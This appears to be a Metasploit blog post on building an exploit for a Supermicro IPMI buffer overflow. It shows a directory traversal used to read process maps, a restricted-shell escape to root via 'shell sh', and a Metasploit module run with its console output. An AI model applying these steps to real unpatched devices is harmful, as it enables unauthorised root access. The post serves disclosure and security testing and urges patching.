Last updated at Mon, 21 Aug 2017 17:05:54 GMT

Last week @hdmoore published the details about several vulnerabilities into the Supermicro IPMI firmware. With the advisory's release, several modules were landed into Metasploit in order to check Supermicro's device against several of the published vulnerabilities:

Module Purpose
smt_ipmi_static_cert_scanner This module can be used to check devices using an static SSL certificate shipped with Supermicro Onboard IPMI controllers. (CVE-2013-3619).
smt_ipmi_url_redirect_traversal This module can be used to abuse a directory traversal on the url_redirect.cgi component and download files with root privileges. Authenticated access to the web interface is required.
smt_ipmi_cgi_scanner This module can be used to remotely check if a device if vulnerable to two unauthenticated remote buffer overflow, respectively on the login.cgi (CVE-2013-3621) and close_window.cgi (CVE-2013-3623) components.

Just a day after the advisory's release we were able to finish a functional exploit for one of the unauthenticated overflows (CVE-2013-3623), allowing to get root access to the device through the close_window.cgi component on the web interface.

This exploit development was quite interesting because we had just remote restricted access to a real Supermicro device, running the firmware SMT_X9_214 and, of course, emulation. While emulation is a great resource to search for vulnerabilities and development of proof of concepts, often it isn't enough to ensure a real live working exploit. In this blog we would like to share a couple of funny tricks we used to end the real live exploit. Hope you enjoy!

Traversal to the rescue

The first requirement in order to deploy a real-live working exploit is to know which common memory protections (NX, ASLR) apply. In order to get this information the Directory Traversal vulnerability on the url_redirect.cgi was used. Since the vulnerability allows access to arbitrary files with root privileges, even with restricted web access, this one was perfect to get some environment information. The trick here was to use the directory traversal to read "/proc/self/maps". Even when the maps would be the url_redirect.cgi's one, it would be good enough to check memory protections applied to cgi's processes, and even when we were aware of the lack of ASLR for the main executable and libraries, thanks to the @hdmoore's previous experience with the UPnP exploit, we were able also to discover stack and heap executables:

00012000-00033000 rwxp 00012000 00:00 0          [heap]
bee78000-bee8d000 rwxp bee78000 00:00 0          [stack]

This information was highly valuable in order to design the exploit for the close_window.cgi overflow, where the space and badchars limitations, would make a "return into libc-system" really hard otherwise!

Details matter

With the information above, and the help of qemu, a first version of the exploit could be developed. Still not accurate enough to get real live shells! Indeed, when exploiting, details and the environment are important things to have into account, and the traversal directory vulnerability, even when powerful, was not enough to get a session. In order to end the exploit on a reasonable time, collect debug information about the process on the real device became a requirement.

Having restricted shell access to the real Supermicro's device, was time to check what could be done with it:

ATEN SMASH-CLP System Management Shell, version 1.04  
Copyright (c) 2008-2009 by ATEN International CO., Ltd.  
All Rights Reserved  
  
-> help  
/  
  
  The managed element is the root  
  
  Verbs :  
  cd  
  show  
  help  
  version  
  exit  
  
->

SSH access provides a restricted SMASH System Management Shell, which indeed isn't very useful for environment inspection / exploiting debug. Even when the command line help isn't very encouraging, neither the SMASH's specification from the DMTF, we had access to the firmware and the ATEN SMASH binaries. Fortunately, after digging a little around them, something interesting was found. While following the code responsible of handling the command line, close to the parsing of pipes ("|") and semicolon characters (";") the parsing of the next word keys is found:

Specially interesting is to find the reserved word "shell", so time for a new test:

-> shell test  
Change shell to test  
changing shell fails.: No such file or directory  
  
->

Interesting! So looks like a shell comand exists indeed. A little more of static analysis reveals which the shell command not only exists, but should allow easily arbitrary command execution :

Time to test:

-> shell ls  
Change shell to ls  
SFCB        bin        dropbear    lib        lost+found  proc        sys        usr        web  
SMASH      dev        etc        linuxrc    nv          sbin        tmp        var        wsman  
  
->

Looks good, one more test...

-> shell sh  
Change shell to sh  
# uname -a  
Linux (none) 2.6.17.WB_WPCM450.1.3 #5 Wed Apr 24 10:53:55 PDT 2013 armv5tejl unknown  
#

And a root shell opens in front of us! (SMT_X9_315 firmware fixes the "shell sh" escape). With a root shell available, in order to end the development of the exploit we chose to configure generation of core dumps to the /tmp folder, mounted with rw and enough space available:

# mount  
rootfs on / type rootfs (rw)  
/dev/root on / type cramfs (ro)  
proc on /proc type proc (rw)  
none on /sys type sysfs (rw)  
none on /tmp type tmpfs (rw)  
devpts on /dev/pts type devpts (rw)  
/dev/mtdblock1 on /nv type jffs2 (rw)  
none on /tmp type tmpfs (rw)  
/dev/mtdblock4 on /web type cramfs (ro)  
# df -h  
Filesystem                Size      Used Available Use% Mounted on  
rootfs                  20.0M    20.0M        0 100% /  
/dev/root                20.0M    20.0M        0 100% /  
none                    36.0M      1.1M    34.9M  3% /tmp  
/dev/mtdblock1            1.3M    320.0k    960.0k  25% /nv  
none                    36.0M      1.1M    34.9M  3% /tmp  
/dev/mtdblock4            3.9M      3.9M        0 100% /web

To extract the core dumps we used openssl s_server and the legit web server certificate to set up a fake HTTP server, allowing external access to the /tmp directory contents. Several core dumps later we were able to make the exploit work smoothly on the real device :

msf exploit(smt_ipmi_close_window_bof) > show options

Module options (exploit/linux/http/smt_ipmi_close_window_bof):

   Name     Current    Setting  Required  Description
   ----       ---------------  --------     -----------
   Proxies                                  no         Use a proxy chain
   RHOST                                 yes       The target address
   RPORT                                 yes       The target port
   VHOST                                 no         HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting                        Required  Description
   ----  ---------------                        --------  -----------
   CMD   echo metasploit > /tmp/metasploit.txt  yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214


msf exploit(smt_ipmi_close_window_bof) > rexploit
[*] Reloading module...

[*] - Sending exploit...
[*] Exploit completed, but no session was created.

Checking the proof of success on the Supermicro's device:

ATEN SMASH-CLP System Management Shell, version 1.04  
Copyright (c) 2008-2009 by ATEN International CO., Ltd.  
All Rights Reserved  
  
  
-> shell sh  
Change shell to sh  
# cd /tmp  
# pwd  
/tmp  
# cat metasploit.txt  
metasploit

Definitely, it you are using Supermicro's motherboard, you should review the information and updates on the Supermicro IPMI Firmware Vulnerabilities article, and apply the vendor's updates if necessary.

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments